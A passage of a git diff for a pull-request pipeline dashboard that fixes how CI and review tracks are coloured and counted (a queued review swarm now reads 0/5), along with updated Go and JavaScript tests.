filled (amber) only while a check-run or a review perspective is actually running on the current head; passed / approved, findings, pending and decided verdicts are words in their colour on the muted field. Unreported checks and rows waiting on a person render as pending words, never amber. When both tracks run, the stage chevron is settled-current. A queued review swarm reads "Review 0/5 Β· swarm requested" instead of 5/5 (#16540). diff --git a/src/pkg/dashboard/stage_tracker_activity.go b/src/pkg/dashboard/stage_tracker_activity.go index 469aa9bce1..acba132a7c 100644 --- a/src/pkg/dashboard/stage_tracker_activity.go +++ b/src/pkg/dashboard/stage_tracker_activity.go @@ -328,6 +328,15 @@ func stageTrackerCountPerspectives(out *StageTrackerActivity, pr github.PullRequ out.PerspectivesDone++ } } + // A swarm that is requested or queued has not started this round: no + // perspective of it is done, whatever an earlier round left behind. + // "Review 5/5 Β· swarm requested" contradicts itself (hivecommons/hive#16540). + if out.State == "unassigned" { + out.PerspectivesDone = 0 + if out.PerspectivesTotal == 0 { + out.PerspectivesTotal = len(expected) + } + } } func trackerHeadMatches(repo string, number int, head, observedRepo string, observedNumber int, observedHead string) bool { diff --git a/src/pkg/dashboard/stage_tracker_activity.test.js b/src/pkg/dashboard/stage_tracker_activity.test.js index 33a005507f..da570393d0 100644 --- a/src/pkg/dashboard/stage_tracker_activity.test.js +++ b/src/pkg/dashboard/stage_tracker_activity.test.js @@ -22,7 +22,7 @@ const STAGE_TRACKER_NEEDS_DECISION = 85, STAGE_TRACKER_ISSUE_NEEDS_DECISION = 45 const STAGE_TRACKER_ISSUE_DECISION_COLUMN = 10, STAGE_TRACKER_TRIAGE_NEEDED = 15, STAGE_TRACKER_POSSIBLY_EXISTS = 17; const STAGE_TRACKER_PRE_MERGE_SOAK = 95; `; -const track = new Function('esc', 'stageTrackerIcon', fn(strip, 'stageTrackerTrackLead') + fn(strip, 'stageTrackerHiveOwnsRepair') + fn(strip, 'stageTrackerTrackWord') + fn(strip, 'stageTrackerActivityTrackHtml') + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => `<svg class="${cls}" data-icon="${n}"></svg>`); +const track = new Function('esc', 'stageTrackerIcon', fn(strip, 'stageTrackerTrackLead') + fn(strip, 'stageTrackerWaitingOnPerson') + fn(strip, 'stageTrackerTrackRunning') + fn(strip, 'stageTrackerHiveOwnsRepair') + fn(strip, 'stageTrackerTrackWord') + fn(strip, 'stageTrackerActivityTrackHtml') + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => `<svg class="${cls}" data-icon="${n}"></svg>`); const getAnchor = new Function(globals + anchor + ';return stageTrackerAnchor;')(); const header = new Function('esc', 'stageTrackerIcon', globals + fn(strip, 'stageTrackerHeaderHtml') + ';return stageTrackerHeaderHtml;')(esc, () => ''); const now = Date.parse('2026-11-02T21:00:00Z'); @@ -116,7 +116,7 @@ function stageTrackerActorKind() { return ''; } function stageTrackerActorTip() { return ''; } function stageTrackerMotion() { return STAGE_TRACKER_MOTION_STATIC; } function stageTrackerIcon(n) { return '<svg data-icon="' + n + '"></svg>'; } -` + fn(strip, 'stageTrackerStripItems') + ';return stageTrackerStripItems;')(esc, segments, track, ...Object.values(helpers)); +` + fn(strip, 'stageTrackerWaitingOnPerson') + fn(strip, 'stageTrackerTrackRunning') + fn(strip, 'stageTrackerStripItems') + ';return stageTrackerStripItems;')(esc, segments, track, ...Object.values(helpers)); const renderStrip = makeStripRenderer(); function physicalTracks(item) { @@ -474,7 +474,7 @@ test('Hive #16434 shape: missing current-head CI and review stay unknown but vis review_activity: { head: 'head', state: 'unknown', caption: 'Review unknown Β· current-head evidence unavailable', source: 'unavailable' }, })); for (const cell of [cells.ci, cells.review]) { - assert.match(cell, /ham-activity-track active ham-current/, 'absent evidence in the current phase is still in progress: lit, with words'); + assert.match(cell, /ham-activity-track pending ham-current/, 'absent evidence in the current phase is pending: words, no amber (#16540)'); assert.match(cell, /data-activity-state="unknown"/); assert.match(cell, /data-display-state="unknown"/); assert.doesNotMatch(cell, /data-motion=|ham-activity-track done/); @@ -492,7 +492,7 @@ test('Hive #16268 shape: held native Fixing waits for a fixer in the CI/Review p review_activity: activity('approved', 'Review approved'), }); const cells = physicalTracks(item); - assert.match(cells.ci, /active ham-current/); + assert.match(cells.ci, /pending ham-current/, 'held: unreported checks are not motion (#16540)'); assert.match(cells.ci, /CI \?\/\? Β· no checks reported yet</); assert.match(cells.review, /done ham-current/); assert.match(cells.review, /Review approved</); @@ -508,12 +508,12 @@ test('current phase, running activity, failure and successful completion are ind ['failing', 'CI failing Β· "build" red', false, 'failing'], ['running', 'CI running Β· 1/2 checks done', true, 'active'], ['passing', 'CI green Β· all 2 required checks passed', false, 'done'], - ['skipped', 'CI skipped Β· check "build" skipped', false, 'active'], + ['skipped', 'CI skipped Β· check "build" skipped', false, 'pending'], ]) { const cells = physicalTracks(livePR({ ci_activity: activity(state, caption, running) })); assert.ok(cells.ci.includes('ham-activity-track ' + cls + ' ham-current'), state + ' β†’ ' + cls); assert.equal(cells.ci.includes('data-motion="active"'), running); - assert.match(cells.review, /active ham-current[^]*data-activity-state="unknown"/); + assert.match(cells.review, /pending ham-current[^]*data-activity-state="unknown"/); } const admitted = physicalTracks(livePR({ stage: 80, ci_activity: activity('passing', 'CI green Β· all 2 required checks passed'), review_activity: activity('approved', 'Review approved') })); assert.doesNotMatch(admitted.ci + admitted.review, /ham-current|aria-current/); @@ -536,7 +536,7 @@ test('old-head or stale observations cannot fabricate running/completion, but do } if (mode === 'old-head') { assert.match(cells.review, /data-activity-state="unknown"/); - assert.match(cells.ci, /active ham-current[^]*CI \?\/\? Β· no checks reported yet</, 'old-head evidence counts for nothing on this head'); + assert.match(cells.ci, /pending ham-current[^]*CI \?\/\? Β· no checks reported yet</, 'old-head evidence counts for nothing on this head'); assert.doesNotMatch(cells.review, /ham-activity-track done/); } else { assert.match(cells.ci, /active ham-current[^]*CI \?\/\? Β· running</, mode + ': the last observed state still reads in words'); @@ -570,7 +570,12 @@ test('current-phase styling is steady and undimmed, including compact/reduced-mo for (const block of css.match(/\.ham-(?:seg\.)?ham-activity-track[^{]*\{[^}]*\}/g)) { assert.doesNotMatch(block, /clip-path|border(?!-radius)|box-shadow: inset/, block); } - assert.match(css, /\.ham-seg\.ham-activity-track\.failing \{ background: var\(--status-error\); color: var\(--surface-0\);/, 'a finding wears the error colour at full strength'); + // Only a running track is filled (#16540): done / failing / pending / + // decided are words in their colour on the muted field. + assert.match(css, /\.ham-seg\.ham-activity-track\.failing \{ background: var\(--panel-strong\); color: var\(--status-error\);/, 'a finding is red words and glyph, not a red fill'); + assert.match(css, /\.ham-seg\.ham-activity-track\.done \{ background: var\(--panel-strong\); color: var\(--green\);/, 'a pass is green words, not a fill'); + for (const state of ['pending', 'done.decided']) assert.match(css, new RegExp('\\.ham-seg\\.ham-activity-track\\.' + state.replace('.', '\\.') + ' \\{ background: var\\(--panel-strong\\); color: var\\(--muted\\);'), state + ' is muted words on the muted field'); + assert.doesNotMatch(css, /\.ham-seg\.ham-activity-track\.(?:done|failing|pending)[^{]*\{[^}]*background: var\(--(?:amber|status-error|green|red)\)/, 'no fill colour on a non-running track'); assert.doesNotMatch(css, /\.ham-track-state \{[^}]*white-space: nowrap/, 'count words wrap to the strip-wide two-line budget like every other chevron, never ellipsised mid-count'); const current = css.match(/\.ham-activity-track\.ham-current \{([^}]*)\}/)[1]; assert.doesNotMatch(current, /animation|data-motion/); @@ -630,6 +635,7 @@ const STAGE_TRACKER_MOTION_ACTIVE = 'active', STAGE_TRACKER_MOTION_STATIC = 'sta function stageTrackerSentinelInLane() { return false; } function stageTrackerActorKind() { return ''; } function stageTrackerActorTip() { return ''; } +` + fn(strip, 'stageTrackerWaitingOnPerson') + fn(strip, 'stageTrackerTrackRunning') + ` function stageTrackerMotion() { return 'active'; } function stageTrackerIcon(n, cls) { return '<svg class="' + cls + '"></svg>'; } ` + anchor + fn(row, 'stageTrackerSegments') + fn(strip, 'stageTrackerActivityTrackHtml') + fn(strip, 'stageTrackerStripItems'); @@ -641,7 +647,12 @@ function stageTrackerIcon(n, cls) { return '<svg class="' + cls + '"></svg>'; } }; const html = render(item, [{ number: 30, short: 'PR in progress' }, { number: 50, short: 'CI / Review' }, { number: 70, short: 'Fixing', branch_from: 50 }], null, now, {}); assert.equal((html.match(/<li /g) || []).length, 8, 'one PR strip, seven visible columns plus history'); - assert.equal((html.match(/data-motion="active"/g) || []).length, 3); + // Three qualify, two may light (#16540): CI and review running win; the + // stage chevron is settled-current β€” words kept, no pulse. + assert.equal((html.match(/data-motion="active"/g) || []).length, 2); + assert.match(html, /class="ham-seg active ham-settled-current detoured"/); + assert.doesNotMatch(html, /ham-settled-current[^>]*data-motion/); + assert.match(html, /Waiting on CI and review, both running β€” /); assert.match(html, /ham-detour[^>]*>Remediating Β· fixer/); assert.match(html, /data-track="review"[^]*Review working Β· reviewer/); item.code_activity.observed_at = new Date(now - 300000).toISOString(); @@ -760,13 +771,13 @@ test('#16484: the three screenshot rows β€” both tracks lit with counts, swarm r ci_activity: fresh('running', { checks_passed: 9, checks_total: 14, active: true }), review_activity: fresh('unknown', { perspectives_done: 0, perspectives_total: 5 }) })); assert.equal(cls(cells.ci), 'active'); assert.equal(text(cells.ci), 'CI 9/14 Β· running'); assert.match(cells.ci, /data-motion="active"/); - assert.equal(cls(cells.review), 'active'); assert.equal(text(cells.review), 'Review 0/5 Β· re-review pending (new head)'); + assert.equal(cls(cells.review), 'pending', 'a pending re-review is words without motion (#16540)'); assert.equal(text(cells.review), 'Review 0/5 Β· re-review pending (new head)'); assert.doesNotMatch(cells.review, /data-motion/); assert.match(cells.review, /hive is waiting on CI for new head d3c0824/, 'the tooltip still says which track leads'); // #16491: review swarm requested, no bundle yet; CI shows its count. cells = physicalTracks(livePR({ head, stage: 50, display_column: 50, ci_activity: fresh('running', { checks_passed: 2, checks_total: 14 }), review_activity: fresh('unassigned', { perspectives_done: 0, perspectives_total: 5, blocker: 'no reviewer free' }) })); - assert.equal(cls(cells.review), 'active'); assert.equal(text(cells.review), 'Review 0/5 Β· swarm requested'); + assert.equal(cls(cells.review), 'pending'); assert.equal(text(cells.review), 'Review 0/5 Β· swarm requested'); assert.equal(cls(cells.ci), 'active'); assert.equal(text(cells.ci), 'CI 2/14 Β· running'); // #16268: CI failed native-queue-policy, review approved, held. cells = physicalTracks(livePR({ head, stage: 70, display_column: 50, modifiers: ['hold'], hold: { by: 'hanthor', pill: 'Held by @hanthor' }, diff --git a/src/pkg/dashboard/stage_tracker_activity_test.go b/src/pkg/dashboard/stage_tracker_activity_test.go index 6b74436097..6c58028cc8 100644 --- a/src/pkg/dashboard/stage_tracker_activity_test.go +++ b/src/pkg/dashboard/stage_tracker_activity_test.go @@ -466,6 +466,18 @@ func TestStageTrackerActivityReviewPerspectiveCounts(t *testing.T) { if got := count(bundle, agg, dispatch); got.PerspectivesTotal != len(expected)+1 || got.PerspectivesDone != 3 { t.Fatalf("extra dispatched perspective counts = %d/%d, want 3/%d", got.PerspectivesDone, got.PerspectivesTotal, len(expected)+1) } + // hive#16539: five verdicts exist for the head but the swarm is queued + // again (a wait, no reviewer free): this round has not started, so the + // word is "Review 0/5 Β· swarm requested", never "5/5 Β· swarm requested". + full := &review.Aggregate{Repo: pr.Repo, Number: pr.Number, HeadSHA: pr.HeadSHA, Verdict: "approve", + Perspectives: map[review.Perspective]review.Verdict{}} + for _, p := range expected { + full.Perspectives[p] = "approve" + } + waiting := review.DispatchState{GeneratedAt: now, Waits: []review.ReviewWaitRecord{{Repo: pr.Repo, Number: pr.Number, HeadSHA: pr.HeadSHA, Reason: "no-free-reviewer", FirstAt: now.Add(-8 * time.Minute), LastAt: now}}} + if got := count(bundle, full, waiting); got.State != "unassigned" || got.PerspectivesDone != 0 || got.PerspectivesTotal != len(expected) { + t.Fatalf("queued swarm counts = %d/%d (%s), want 0/%d unassigned", got.PerspectivesDone, got.PerspectivesTotal, got.State, len(expected)) + } // Evidence for another head counts nothing for this one. agg.HeadSHA, bundle.HeadSHA = "old-head", "old-head" dispatch.Pending = nil diff --git a/src/pkg/dashboard/stage_tracker_advisory_test.go b/src/pkg/dashboard/stage_tracker_advisory_test.go index 2b3fc7b1cc..e14873bdf8 100644 --- a/src/pkg/dashboard/stage_tracker_advisory_test.go +++ b/src/pkg/dashboard/stage_tracker_advisory_test.go @@ -233,6 +233,8 @@ func TestStageTrackerAdvisoryChipAndAction(t *testing.T) { jsFunc(t, html, "stageTrackerActorTip"), jsFunc(t, html, "stageTrackerHeadline"), jsFunc(t, html, "stageTrackerSegments"), + jsFunc(t, html, "stageTrackerWaitingOnPerson"), + jsFunc(t, html, "stageTrackerTrackRunning"), jsFunc(t, html, "stageTrackerActivityTrackHtml"), jsFunc(t, html, "stageTrackerStripItems"), jsFunc(t, html, "stageTrackerItemOnHold"), diff --git a/src/pkg/dashboard/stage_tracker_human_attention.test.js b/src/pkg/dashboard/stage_tracker_human_attention.test.js index 39ac5f2286..9b11628d07 100644 --- a/src/pkg/dashboard/stage_tracker_human_attention.test.js +++ b/src/pkg/dashboard/stage_tracker_human_attention.test.js @@ -170,7 +170,7 @@ test('strip uses the person glyph only for a current requirement; claimant and s STAGE_TRACKER_PRE_MERGE_SOAK: 95, STAGE_TRACKER_READY_FOR_HUMAN_MERGE: 90, }); - vm.runInContext(fn('tracker-row-strip', 'stageTrackerStripItems'), c); + vm.runInContext(fn('tracker-row-strip', 'stageTrackerWaitingOnPerson') + fn('tracker-row-strip', 'stageTrackerTrackRunning') + fn('tracker-row-strip', 'stageTrackerStripItems'), c); item.stage = 40; assert.match(c.stageTrackerStripItems(item, [], null, 1, {}), /data-kind="human"/); item.human_attention = null; diff --git a/src/pkg/dashboard/stage_tracker_motion_test.go b/src/pkg/dashboard/stage_tracker_motion_test.go index 172e70d097..ebcc249adc 100644 --- a/src/pkg/dashboard/stage_tracker_motion_test.go +++ b/src/pkg/dashboard/stage_tracker_motion_test.go @@ -431,6 +431,8 @@ func TestStageTrackerMotionRowStamp(t *testing.T) { jsConstLine(t, html, "STAGE_TRACKER_MOTION_HUMAN_MODS"), jsFunc(t, html, "stageTrackerMotion"), jsFunc(t, html, "stageTrackerShortAgo"), + jsFunc(t, html, "stageTrackerWaitingOnPerson"), + jsFunc(t, html, "stageTrackerTrackRunning"), jsFunc(t, html, "stageTrackerActivityTrackHtml"), jsFunc(t, html, "stageTrackerStripItems"), jsFunc(t, html, "stageTrackerCurrentStageHtml"), @@ -565,6 +567,8 @@ func TestStageTrackerMotionPreviewSample(t *testing.T) { jsFunc(t, html, "stageTrackerHeaderHtml"), jsFunc(t, html, "stageTrackerHoldLabels"), jsFunc(t, html, "stageTrackerSoakLeft"), + jsFunc(t, html, "stageTrackerWaitingOnPerson"), + jsFunc(t, html, "stageTrackerTrackRunning"), jsFunc(t, html, "stageTrackerActivityTrackHtml"), jsFunc(t, html, "stageTrackerStripItems"), jsFunc(t, html, "stageTrackerCurrentStageHtml"), diff --git a/src/pkg/dashboard/stage_tracker_new_test.go b/src/pkg/dashboard/stage_tracker_new_test.go index f7e97fe328..70e3d96be9 100644 --- a/src/pkg/dashboard/stage_tracker_new_test.go +++ b/src/pkg/dashboard/stage_tracker_new_test.go @@ -297,6 +297,8 @@ func TestStageTrackerNewRowRendering(t *testing.T) { jsFunc(t, html, "stageTrackerHumanReason"), jsFunc(t, html, "stageTrackerHeadline"), jsFunc(t, html, "stageTrackerSegments"), + jsFunc(t, html, "stageTrackerWaitingOnPerson"), + jsFunc(t, html, "stageTrackerTrackRunning"), jsFunc(t, html, "stageTrackerActivityTrackHtml"), jsFunc(t, html, "stageTrackerStripItems"), jsFunc(t, html, "stageTrackerTooltip"), diff --git a/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js b/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js index e1cb24e5c9..6b379b0f28 100644 --- a/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js +++ b/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js @@ -27,7 +27,7 @@ const STAGE_TRACKER_NEEDS_DECISION = 85, STAGE_TRACKER_ISSUE_NEEDS_DECISION = 45 const STAGE_TRACKER_ISSUE_DECISION_COLUMN = 10, STAGE_TRACKER_TRIAGE_NEEDED = 15, STAGE_TRACKER_POSSIBLY_EXISTS = 17; const STAGE_TRACKER_PRE_MERGE_SOAK = 95; `; -const track = new Function('esc', 'stageTrackerIcon', fn(strip, 'stageTrackerTrackLead') + fn(strip, 'stageTrackerHiveOwnsRepair') + fn(strip, 'stageTrackerTrackWord') + fn(strip, 'stageTrackerActivityTrackHtml') + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => `<svg class="${cls}" data-icon="${n}"></svg>`); +const track = new Function('esc', 'stageTrackerIcon', fn(strip, 'stageTrackerTrackLead') + fn(strip, 'stageTrackerWaitingOnPerson') + fn(strip, 'stageTrackerTrackRunning') + fn(strip, 'stageTrackerHiveOwnsRepair') + fn(strip, 'stageTrackerTrackWord') + fn(strip, 'stageTrackerActivityTrackHtml') + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => `<svg class="${cls}" data-icon="${n}"></svg>`); const getAnchor = new Function(globals + anchor + ';return stageTrackerAnchor;')(); const segments = new Function('stageTrackerAnchor', globals + ` const STAGE_TRACKER_ACTIVE_WORD = {70: 'Fixing'}; @@ -44,7 +44,7 @@ function stageTrackerActorKind() { return ''; } function stageTrackerActorTip() { return ''; } function stageTrackerMotion() { return STAGE_TRACKER_MOTION_STATIC; } function stageTrackerIcon(n) { return '<svg data-icon="' + n + '"></svg>'; } -` + fn(strip, 'stageTrackerStripItems') + ';return stageTrackerStripItems;')(esc, segments, track); +` + fn(strip, 'stageTrackerWaitingOnPerson') + fn(strip, 'stageTrackerTrackRunning') + fn(strip, 'stageTrackerStripItems') + ';return stageTrackerStripItems;')(esc, segments, track); const stages = [{ number: 70, branch_from: 50 }, { number: 71, branch_from: 50 }, { number: 72, branch_from: 50 }]; const now = Date.parse('2026-11-04T02:45:00Z'); @@ -139,3 +139,74 @@ test('#16494 keeps: review perspectives still running stay amber beside running assert.match(c[5], /ham-activity-track active ham-current/); assert.match(c[5], /Review 2\/5 Β· reviewer-2 reviewing</); }); + +// hivecommons/hive#16540: never three lit chevrons. Amber = the stage +// chevron's active fill (minus settled-current) plus any track in the +// active class. +const litCount = html => (html.match(/class="ham-seg active(?! [^"]*ham-settled-current)|class="ham-seg ham-activity-track active\b/g) || []).length; +const seen = '2026-11-04T02:44:00Z'; + +test('#16509 row: adopted, CI 7/11 unreported, review 5/5 decided β†’ one amber chevron', () => { + const item = redPR({ stage: 74, display_column: 30, + code_activity: { head: 'abc1234def', state: 'adopted', caption: 'Adopted by hive Β· activity', source: 'adoption', observed_at: seen }, + ci_activity: { head: 'abc1234def', state: 'missing', caption: 'CI waiting Β· required check "test" hasn\'t reported for this head yet', checks_passed: 7, checks_total: 11, blocker: 'test', source: 'checks', observed_at: seen }, + review_activity: { head: 'abc1234def', state: 'human_decision', caption: 'Review findings Β· human decision', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen } }); + const c = cells(item); + assert.match(c[3], /class="ham-seg active detoured"/, 'the stage chevron is the one lit chevron'); + assert.match(c[4], /class="ham-seg ham-activity-track pending"/, 'unreported checks are not motion'); + assert.match(c[4], /CI 7\/11 Β· test not reported</); + assert.match(c[5], /class="ham-seg ham-activity-track done decided"/); + assert.equal(litCount(c.join('')), 1); +}); + +test('#16268 row: waiting for the contributor, CI 7/11 unreported, review approved β†’ exactly one amber chevron', () => { + const owner = { head: 'abc1234def', state: 'waiting_owner', caption: 'Waiting for @hanthor Β· not observed coding', actor: 'hanthor', source: 'native-author-wait', observed_at: seen }; + const ci = { head: 'abc1234def', state: 'missing', caption: 'CI waiting Β· required check "test" hasn\'t reported for this head yet', checks_passed: 7, checks_total: 11, blocker: 'test', source: 'checks', observed_at: seen }; + const approved = { head: 'abc1234def', state: 'approved', caption: 'Review approved', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen }; + const c = cells(redPR({ stage: 71, display_column: 30, author: 'hanthor', author_kind: 'human', code_activity: owner, ci_activity: ci, review_activity: approved })); + assert.match(c[3], /class="ham-seg active detoured"/); + assert.match(c[4], /class="ham-seg ham-activity-track pending"[^]*CI 7\/11 Β· test not reported</); + assert.match(c[5], /class="ham-seg ham-activity-track done"[^]*Review 5\/5 approved</); + assert.equal(litCount(c.join('')), 1); + // Even a queued check does not light CI while the row waits on a person. + const queued = cells(redPR({ stage: 71, display_column: 30, author: 'hanthor', author_kind: 'human', code_activity: owner, ci_activity: { ...ci, state: 'queued' }, review_activity: approved })); + assert.match(queued[4], /class="ham-seg ham-activity-track pending"/); + assert.equal(litCount(queued.join('')), 1); +}); + +test('three qualify: CI and review running on a lit PR in progress β†’ tracks win, stage chevron settled-current', () => { + const running = { + code_activity: { head: 'abc1234def', state: 'remediating', caption: 'Remediating Β· scanner Β· 4m', actor: 'scanner', active: true, source: 'fix-dispatch', since: '2026-11-04T02:41:00Z', observed_at: seen }, + ci_activity: { head: 'abc1234def', state: 'running', active: true, caption: 'CI running', checks_passed: 4, checks_total: 11, source: 'checks', observed_at: seen }, + review_activity: { head: 'abc1234def', state: 'reviewing', active: true, actor: 'reviewer-2', caption: 'Review working', perspectives_done: 2, perspectives_total: 5, source: 'dispatch', observed_at: seen } }; + const both = cells(redPR({ display_column: 30, ...running })); + assert.match(both[3], /class="ham-seg active ham-settled-current ham-remediation-remediating detoured"/); + assert.doesNotMatch(both[3], /data-motion=/); + assert.match(both[3], /Remediating Β· scanner Β· 4m/, 'the words stay'); + assert.match(both[3], /Waiting on CI and review, both running/); + assert.match(both[4], /ham-activity-track active"[^]*data-motion="active"/); + assert.match(both[5], /ham-activity-track active"[^]*data-motion="active"/); + assert.equal(litCount(both.join('')), 2); + // One track running: the stage chevron keeps its own fill and pulse. + const one = cells(redPR({ display_column: 30, ...running, review_activity: { ...running.review_activity, state: 'changes_requested', active: false } })); + assert.match(one[3], /class="ham-seg active ham-remediation-remediating detoured"[^>]*data-motion="active"/); + assert.equal(litCount(one.join('')), 2); +}); + +test('#16456 row: PR in progress with changes requested β†’ the stage chevron is the only lit one; review is a red-text finding, CI a green-text pass', () => { + const c = cells(redPR({ display_column: 30, + code_activity: { head: 'abc1234def', state: 'unassigned', caption: 'Changes requested Β· unassigned Β· next: scanner', source: 'no-pickup-evidence', since: red, observed_at: seen }, + ci_activity: { head: 'abc1234def', state: 'passing', caption: 'CI green', checks_passed: 11, checks_total: 11, source: 'checks', observed_at: seen }, + review_activity: { head: 'abc1234def', state: 'changes_requested', caption: 'Review findings', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen, since: red } })); + assert.match(c[3], /class="ham-seg active ham-remediation-unassigned detoured"/); + assert.match(c[4], /class="ham-seg ham-activity-track done"[^]*CI 11\/11 passed</); + assert.match(c[5], /class="ham-seg ham-activity-track failing"[^]*Review 5\/5 Β· changes requested</); + assert.equal(litCount(c.join('')), 1, 'done / failing tracks are text-colour variants, not fills'); +}); + +test('#16539 shape: a queued swarm reads 0/5, pending, not filled', () => { + const c = cells(redPR({ display_column: 50, stage: 50, + review_activity: { head: 'abc1234def', state: 'unassigned', caption: 'Review queued Β· unassigned', blocker: 'no-free-reviewer', perspectives_done: 0, perspectives_total: 5, source: 'review-dispatch-wait', observed_at: seen } })); + assert.match(c[5], /class="ham-seg ham-activity-track pending ham-current"[^]*Review 0\/5 Β· swarm requested</); + assert.equal(litCount(c.join('')), 0, 'CI passed and a queued swarm: nothing runs, nothing is filled'); +}); diff --git a/src/pkg/dashboard/stage_tracker_repo_grouping_test.go b/src/pkg/dashboard/stage_tracker_repo_grouping_test.go index cbfb593f47..be70f59325 100644 --- a/src/pkg/dashboard/stage_tracker_repo_grouping_test.go +++ b/src/pkg/dashboard/stage_tracker_repo_grouping_test.go @@ -152,6 +152,8 @@ func stageTrackerRepoGroupingHarness(t *testing.T, html string) string { jsFunc(t, html, "stageTrackerMotion"), jsFunc(t, html, "stageTrackerHoldLabels"), jsFunc(t, html, "stageTrackerSoakLeft"), + jsFunc(t, html, "stageTrackerWaitingOnPerson"), + jsFunc(t, html, "stageTrackerTrackRunning"), jsFunc(t, html, "stageTrackerActivityTrackHtml"), jsFunc(t, html, "stageTrackerStripItems"), jsFunc(t, html, "stageTrackerCurrentStageHtml"), diff --git a/src/pkg/dashboard/stage_tracker_ui_prelude_test.go b/src/pkg/dashboard/stage_tracker_ui_prelude_test.go index 8be70f52a6..9d2356f051 100644 --- a/src/pkg/dashboard/stage_tracker_ui_prelude_test.go +++ b/src/pkg/dashboard/stage_tracker_ui_prelude_test.go @@ -94,6 +94,8 @@ func stageTrackerRowsPreludeJS(t *testing.T, html string) string { jsFunc(t, html, "stageTrackerTrainIconHtml"), jsFunc(t, html, "stageTrackerHoldLabels"), jsFunc(t, html, "stageTrackerSoakLeft"), + jsFunc(t, html, "stageTrackerWaitingOnPerson"), + jsFunc(t, html, "stageTrackerTrackRunning"), jsFunc(t, html, "stageTrackerHiveOwnsRepair"), jsFunc(t, html, "stageTrackerTrackWord"), jsFunc(t, html, "stageTrackerActivityTrackHtml"), @@ -196,8 +198,13 @@ var _stageTracker = { stages }; // needs-rebase always lands a PR in 070/071/072 (automerge_stage_labels.go), so a // fixture pairing it with 050/060 would draw a contradictory row. const rebaseCoherent = (it) => { if ((it.modifiers || []).includes('needs-rebase')) assert.ok(![50, 60].includes(Number(it.stage)), 'fixture #' + it.number + ' pairs needs-rebase with stage ' + it.stage); (it.linked_prs || []).forEach(rebaseCoherent); }; +// hivecommons/hive#16540: no strip ever lights more than two chevrons. Lit = +// the stage chevron's active fill (a settled-current one is not amber) or a +// CI / Review track in the active class. Checked on every fixture rendered. +const litChevrons = (html) => (html.match(/class="ham-seg active(?! [^"]*ham-settled-current)|class="ham-seg ham-activity-track active\b/g) || []).length; +const atMostTwoLit = (item, row) => row.split('aria-label="Pipeline progress"').slice(1).forEach((s, i) => assert.ok(litChevrons(s) <= 2, 'fixture ' + (item.repo || '') + '#' + item.number + ' strip ' + i + ' lights ' + litChevrons(s) + ' chevrons: ' + s)); const rawRowHtml = stageTrackerRowHtml; -stageTrackerRowHtml = (item, stages, ctx) => { rebaseCoherent(item); return rawRowHtml(item, stages, ctx); }; +stageTrackerRowHtml = (item, stages, ctx) => { rebaseCoherent(item); const row = rawRowHtml(item, stages, ctx); atMostTwoLit(item, row); return row; }; // A row is a title line, its strip, then zero or more nested PR sub-rows. const strips = (row) => row.split('aria-label="Pipeline progress"').slice(1); const strip = (row) => strips(row)[0].split('<div class="ham-sub"')[0]; diff --git a/src/pkg/dashboard/stage_tracker_ui_rows_test.go b/src/pkg/dashboard/stage_tracker_ui_rows_test.go index d6597462d0..73172c8faa 100644 --- a/src/pkg/dashboard/stage_tracker_ui_rows_test.go +++ b/src/pkg/dashboard/stage_tracker_ui_rows_test.go @@ -690,6 +690,42 @@ assert.ok(/<span class="ham-since( ham-stalled)?">[^<]*<\/span>/.test(row) && !/ review_activity: { head: 'f269349', state: 'human_decision', caption: 'Review findings Β· human decision', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen } }, stages, ctx); assert.ok(/<li class="ham-seg ham-activity-track done decided" data-track="review"[^>]*>[\s\S]*?Review 5\/5 Β· awaiting human decision<\/span>/.test(parkedRow), 'genuinely parked on a person keeps the human word, still not amber: ' + parkedRow); } +// hivecommons/hive#16540 rows. #16509: adopted, CI 7/11 unreported, review +// decided β†’ one lit chevron. #16268: waiting for the contributor, CI 7/11 +// unreported, review approved β†’ exactly one. Three qualifying (fix running, +// CI running, review running) β†’ the tracks win and the stage chevron is +// settled-current. The ≀2 invariant itself runs on every fixture above. +{ + const seen = new Date(now - 60000).toISOString(); + const unreported = { head: 'f269349', state: 'missing', caption: 'CI waiting Β· required check "test" hasn\'t reported for this head yet', checks_passed: 7, checks_total: 11, blocker: 'test', source: 'checks', observed_at: seen }; + const lit = (html) => litChevrons(strip(html)); + const three = stageTrackerRowHtml({ repo: 'acme/console', number: 16509, kind: 'pr', stage: 74, display_column: 30, head: 'f269349', author: 'thatguywob', author_kind: 'human', + code_activity: { head: 'f269349', state: 'adopted', caption: 'Adopted by hive Β· activity', source: 'adoption', observed_at: seen }, ci_activity: unreported, + review_activity: { head: 'f269349', state: 'human_decision', caption: 'Review findings Β· human decision', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen } }, stages, ctx); + assert.strictEqual(lit(three), 1, 'adopted + unreported CI + decided review lights one chevron: ' + strip(three)); + assert.ok(/<li class="ham-seg ham-activity-track pending" data-track="ci"[^>]*>[\s\S]*?CI 7\/11 Β· test not reported<\/span>/.test(three), 'unreported checks are pending, not amber: ' + three); + const owner = stageTrackerRowHtml({ repo: 'acme/console', number: 16268, kind: 'pr', stage: 71, display_column: 30, head: 'f269349', author: 'hanthor', author_kind: 'human', + code_activity: { head: 'f269349', state: 'waiting_owner', caption: 'Waiting for @hanthor Β· not observed coding', actor: 'hanthor', source: 'native-author-wait', observed_at: seen }, ci_activity: unreported, + review_activity: { head: 'f269349', state: 'approved', caption: 'Review approved', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen } }, stages, ctx); + assert.strictEqual(lit(owner), 1, 'with the contributor: only the stage chevron is lit: ' + strip(owner)); + assert.ok(/<li class="ham-seg active detoured"[^>]*aria-current="step"/.test(owner) && owner.includes('Waiting for @hanthor'), owner); + assert.ok(/data-track="ci"[^>]*>[\s\S]*?CI 7\/11 Β· test not reported<\/span>/.test(owner) && /<li class="ham-seg ham-activity-track done" data-track="review"[^>]*>[\s\S]*?Review 